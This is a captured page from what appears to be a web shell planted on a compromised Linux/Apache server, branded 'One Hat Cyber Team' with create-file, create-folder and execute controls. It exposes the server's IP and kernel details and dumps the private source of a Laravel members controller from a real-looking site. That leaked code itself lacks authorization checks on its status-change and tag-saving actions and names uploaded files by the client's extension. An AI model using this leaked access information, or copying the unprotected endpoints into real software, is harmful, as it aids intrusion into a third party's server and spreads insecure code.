⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.142
Server IP:
217.76.53.76
Server:
Linux vmi1397931.contaboserver.net 5.4.0-105-generic #119-Ubuntu SMP Mon Mar 7 18:49:24 UTC 2022 x86_64
Server Software:
Apache
PHP Version:
8.2.27
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
www
/
wwwroot
/
ppt.com.ng
/
app
/
Http
/
Controllers
/
View File Name :
MembersController.php
user()->hasPermission('READ', env('NAIP_MEMBER_ROUTE').'_'.\Session::get('current_permission'))) return response()->json(['Errors' => ['Error' => 'Unauthorized Action']],422); return view('dashboard.members.home_members_naip',[ 'page' => [ 'type' => 'dashboard', 'icon' => ' ti ti-user-star', 'name' => 'Members', 'url' => 'members', 'user_route' => \Session::get('user_route'), ], 'users' => CardOwner::all(), ]); } public function tags($id, Request $request){ if (!auth()->user()->hasPermission('READ', env('NAIP_MEMBER_ROUTE').'_'.\Session::get('current_permission'))) return response()->json(['Errors' => ['Error' => 'Unauthorized Action']],422); return view('dashboard.members.tags',[ 'page' => [ 'type' => 'dashboard', 'icon' => ' ti ti-user-star', 'name' => 'User Tags', 'url' => 'tags', 'user_route' => \Session::get('user_route'), ], 'card_owner' => CardOwner::find($id), ]); } public function showTag($cardOwnerId, $id) { if (!auth()->user()->hasPermission('READ', env('NAIP_MEMBER_ROUTE').'_'.\Session::get('current_permission'))) return response()->json(['Errors' => ['Error' => 'Unauthorized Access.']],422); $cardOwner = CardOwner::find($cardOwnerId); $tag = UserTag::where('card_owner_id',$cardOwner['id'])->where('id',$id)->first(); return view('dashboard.members.tags_modal',[ 'type' => 'dashboard', 'icon' => ' ti ti-user-star', 'url' => '/'.\Session::get('user_route').'/members/'.$cardOwner['id'].'/tags/'.$id, 'name' => 'User Tags', 'item' => $tag, 'card_owner_id' => $cardOwnerId, 'user_route' => \Session::get('user_route'), ]); } public function storeTag($cardOwnerId, Request $request) { $request->validate([ 'name' => 'required', ]); $cardOwner = CardOwner::find($cardOwnerId); $tag = UserTag::where('card_owner_id',$cardOwner['id'])->where('id',$request['id'])->first(); if ($tag === null){ $tag = new UserTag(); $tag['card_owner_id'] = $request['card_owner_id']; } $tag['name'] = $request['name']; $tag['status'] = $request['status']; $tag['image_id'] = $request['image_id']; $tag->save(); return response()->json([ 'location' => '/'.\Session::get('user_route').'/members/'.$cardOwner['id'].'/tags', 'message' => 'User Tag Saved. Redirecting Now' ]); } public function changeStatus($id) { $admin = User::find($id); if (!$admin) return response()->json(['errors' => ['error' => 'Admin not Found']]); $admin['status'] = $admin['status'] == 'Active' ? 'Inactive' : 'Active'; $admin->save(); return response()->json([ 'refresh' => true, 'message' => 'Status Updated. Redirecting Now' ]); } public function uploadImage(Request $request) { if(!$request['tag_image'][0]) return response()->json(['Errors' => ['Error' => 'File not found']],422); if (!Auth::user()->hasPermission('CREATE', env('NAIP_MEMBER_ROUTE').'_'.\Session::get('current_permission'))) return response()->json(['Errors' => ['Error' => 'Unauthorized Access.']],422); $image = new UploadFile(); /*$image['filename'] = Str::random(32).'.'.\File::extension($request['tag_image'][0]->getClientOriginalName()); $request['tag_image'][0]->storePubliclyAs("public",$image['filename']); $image['original_name'] = $request['tag_image'][0]->getClientOriginalName();*/ $image = new UploadFile(); $image['filename'] = Str::random(32).'.'.\File::extension($request['tag_image'][0]->getClientOriginalName()); $request['tag_image'][0]->storePubliclyAs("public",$image['filename']); $image['original_name'] = $request['tag_image'][0]->getClientOriginalName(); $image->save(); $image->save(); return response()->json([ 'status' => 'success', 'file' => $image, 'message' => 'Upload Success.', ]); } public function removeImage(Request $request){ if (!auth()->user()->hasPermission('DELETE', env('NAIP_MEMBER_ROUTE').'_'.\Session::get('current_permission'))) return response()->json(['Errors' => ['Error' => 'Unauthorized Access.']],422); $image = UploadFile::find($request['id']); if(!$image) return response()->json(['Errors' => ['Error' => 'File not found']],422); if (is_file(storage_path('app/public/'.$image['filename']))) unlink(storage_path('app/public/'.$image['filename'])); $image->delete(); return response()->json([ 'status' => 'success', 'message' => 'Image Removed.' ]); } public function destroyTag($cardOwnerId, $id) { if (!auth()->user()->hasPermission('DELETE', env('NAIP_MEMBER_ROUTE').'_'.\Session::get('current_permission'))) return response()->json(['Errors' => ['Error' => 'Unauthorized Action']],422); $userTag = UserTag::find($id); if(!$userTag) return response()->json(['errors' => ['error' => 'User Tag Not Found']],422); $image = UploadFile::find($userTag['image_id']); if($image){ if (is_file(storage_path('app/public/'.$image['filename']))) unlink(storage_path('app/public/'.$image['filename'])); $image->delete(); } $userTag->delete(); return response()->json([ 'location' => '/'.\Session::get('user_route').'/members/'.$cardOwnerId.'/tags', 'message' => 'User Tag Deleted. Redirecting Now' ]); } }